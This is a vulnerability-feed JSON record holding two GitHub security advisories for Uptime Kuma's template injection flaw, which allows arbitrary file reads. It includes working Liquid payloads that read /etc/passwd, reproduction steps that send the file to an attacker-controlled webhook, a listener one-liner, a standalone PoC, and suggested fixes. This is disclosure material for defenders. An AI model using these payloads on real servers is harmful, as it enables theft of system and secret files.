{"vuln_id":"GHSA-vffh-c9pq-4crh","aliases":[],"description":"Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read","published_at":"2025-10-20T14:33:43Z","modified_at":"2025-10-20T14:33:43Z","first_seen_at":"2026-11-22T13:40:14.913563Z","severity":"medium","severity_source":"ghsa","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","cwe":["CWE-36","CWE-1336"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-vffh-c9pq-4crh"},"matched_alias":null,"items":[{"id":12011,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-v832-4r73-wx5j / CVE-2026-33130: Another Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read","summary":"Another Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read\n\n# Incomplete fix for GHSA-vffh-c9pq-4crh\r\n\r\n**Version:** 2.1.3, LiquidJS 10.24.0\r\n**Related:** GHSA-vffh-c9pq-4crh (marked patched in 2.0.0)\r\n\r\n## What's happening\r\n\r\nThe fix from GHSA-vffh-c9pq-4crh doesn't fully work. The three mitigations added to the Liquid engine (`root`, `relativeReference`, `dynamicPartials`) only block quoted paths. If you use an unquoted absolute path, you can still read any file on the server:\r\n\r\n```\r\n{% render /etc/passwd %}\r\n```\r\n\r\nI reproduced this end-to-end on 2.1.3 and still got the full `/etc/passwd` contents sent to a webhook endpoint.\r\n\r\n## Why the current fix doesn't work\r\n\r\nThe mitigations in `notification-provider.js` are:\r\n\r\n```javascript\r\nconst engine = new Liquid({\r\n    root: \"./no-such-directory-uptime-kuma\",\r\n    relativeReference: false,\r\n    dynamicPartials: false,\r\n});\r\n```\r\n\r\nThese only protect the first two steps of LiquidJS's file resolution. There's a third step, a `require.resolve()` fallback at `liquid.node.js:2793-2796`, that has **no containment check at all**:\r\n\r\n```javascript\r\n// liquid.node.js line 2793-2796\r\nif (fs.fallback !== undefined) {\r\n    const filepath = fs.fallback(file);  // calls require.resolve(), no contains() check\r\n    if (filepath !== undefined)\r\n        yield filepath;\r\n}\r\n```\r\n\r\nThe reason quoted paths are blocked is just a quirk: `readFileNameTemplate()` keeps the literal quote characters, so `require.resolve('\"/etc/passwd\"')` fails with `MODULE_NOT_FOUND`. Without quotes, `require.resolve('/etc/passwd')` happily returns the real path.\r\n\r\n## Who can exploit this\r\n\r\nAny authenticated user since there's no RBAC in Uptime Kuma. The notification handlers only call `checkLogin(socket)`, so any compromised login can set up a malicious template.\r\n\r\n## Steps to reproduce\r\n\r\n1. Log in to Uptime Kuma\r\n2. Go to any monitor → Edit → Set Up Notification\r\n3. Pick **Webhook**, set Post URL to an endpoint you control\r\n4. Change Request Body to **Custom Body**\r\n5. Enter: `{% render /etc/passwd %}`\r\n6. Click **Test**\r\n7. Check your listener > the full file contents are in the request body\r\n\r\nWorks with `{% include /etc/passwd %}` too. Any file readable by the Node process is fair game.\r\n\r\nFor a quick listener to catch the output:\r\n```bash\r\nnode -e \"require('http').createServer((req,res)=>{let b='';req.on('data',c=>b+=c);req.on('end',()=>{console.log(b);res.end('ok')})}).listen(9999)\"\r\n```\r\n\r\n## Standalone PoC (no running instance needed)\r\n\r\n```javascript\r\nconst { Liquid } = require(\"liquidjs\");\r\nconst engine = new Liquid({\r\n    root: \"./no-such-directory-uptime-kuma\",\r\n    relativeReference: false,\r\n    dynamicPartials: false,\r\n});\r\nengine.render(engine.parse(\"{% render /etc/passwd %}\"), {}).then(console.log);\r\n```\r\n\r\n## Suggested fix\r\n\r\nRemove the file-inclusion tags from the engine. Notification templates shouldn't need them:\r\n\r\n```javascript\r\nconst engine = new Liquid({ ... });\r\ndelete engine.tags[\"render\"];\r\ndelete engine.tags[\"include\"];\r\ndelete engine.tags[\"layout\"];\r\n```\r\n\r\nThis b\n\nAffected packages: :uptime-kuma\nPatched: uptime-kuma 2.2.1","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-v832-4r73-wx5j","published_at":"2026-03-16T05:46:42Z","updated_at":"2026-03-17T21:53:53Z","fetched_at":"2026-11-22T13:40:14.883732Z","severity":"medium","cvss_score":6.5,"epss":0.00387,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2026-33130","vuln_ids":["CVE-2026-33130","GHSA-V832-4R73-WX5J","GHSA-VFFH-C9PQ-4CRH","GHSA-WMFP-5Q7X-987X"],"tags":["repo-advisory","","CWE-98","CWE-1336","security","repo:louislam/uptime-kuma"],"cluster_id":11313,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12011","html":"https://vulnwatch.ve1ve2.com/item/12011"}},{"id":12014,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-vffh-c9pq-4crh: Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read","summary":"Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read\n\n### Summary\r\n\r\nIn some Notification types (e.g., Webhook, Telegram), the `send()` function allows user-controlled renderTemplate input. This leads to a Server-side Template Injection (SSTI) vulnerability that can be exploited to read arbitrary files from the server.\r\n\r\n\r\n\r\n### Details\r\n\r\nThe root cause is how Uptime Kuma renders user-controlled templates via `renderTemplate()`. The function instantiates a Liquid template engine and parses the `template` argument without sanitization:\r\n\r\n```js\r\nasync renderTemplate(template, msg, monitorJSON, heartbeatJSON) {\r\n    const engine = new Liquid();\r\n    const parsedTpl = engine.parse(template);\r\n\r\n    // ...\r\n}\r\n```\r\n\r\nIn some Notification flows, the `send()` implementation passes user-editable fields directly into `renderTemplate()`:\r\n```js\r\n// webhook.js\r\nif (notification.webhookContentType === \"form-data\") {\r\n    const formData = new FormData();\r\n    formData.append(\"data\", JSON.stringify(data));\r\n    config.headers = formData.getHeaders();\r\n    data = formData;\r\n} else if (notification.webhookContentType === \"custom\") {\r\n    data = await this.renderTemplate(notification.webhookCustomBody, msg, monitorJSON, heartbeatJSON); //<- this line cause SSTI\r\n}\r\n```\r\n\r\nBecause `notification` can be edited by users and is rendered by the Liquid engine without proper sandboxing or a whitelist of allowed operations, an attacker can supply a crafted template that causes the server to read arbitrary files. In particular, Liquid’s template tags (e.g. `{% render ... %}`) can be abused to include server-side files if the engine is not restricted, resulting in Server-side Template Injection (SSTI) that leaks sensitive file contents.\r\n\r\n\r\n\r\n### PoC\r\n\r\n1. Open Uptime Kuma → **Notifications** → **Add** or **Edit** an existing Webhook notification.\r\n2. Set notification type to **Webhook** and set **Request Body**  to **Custom Body**.\r\n3. Paste the following JSON into the custom request body:\r\n\r\n```json\r\n{\r\n  \"Title\": {% render '/etc/passwd' %}\r\n}\r\n```\r\n\r\n4. Click test.\r\n5. Your webhook will receive the file content\r\n\r\n\r\n\r\n### Impact\r\n\r\nThis is a post-authentication Server-side Template Injection (SSTI) vulnerability that allows an authenticated user to perform arbitrary file read on the server.\r\n\n\nAffected packages: :uptime-kuma\nPatched: uptime-kuma 1.23.17, uptime-kuma 2.0.0","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-vffh-c9pq-4crh","published_at":"2025-10-20T14:33:43Z","updated_at":"2025-10-20T14:33:43Z","fetched_at":"2026-11-22T13:40:14.883734Z","severity":"medium","cvss_score":6.5,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-vffh-c9pq-4crh","vuln_ids":["GHSA-VFFH-C9PQ-4CRH"],"tags":["repo-advisory","","CWE-36","CWE-1336","security","repo:louislam/uptime-kuma"],"cluster_id":11315,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12014","html":"https://vulnwatch.ve1ve2.com/item/12014"}}]}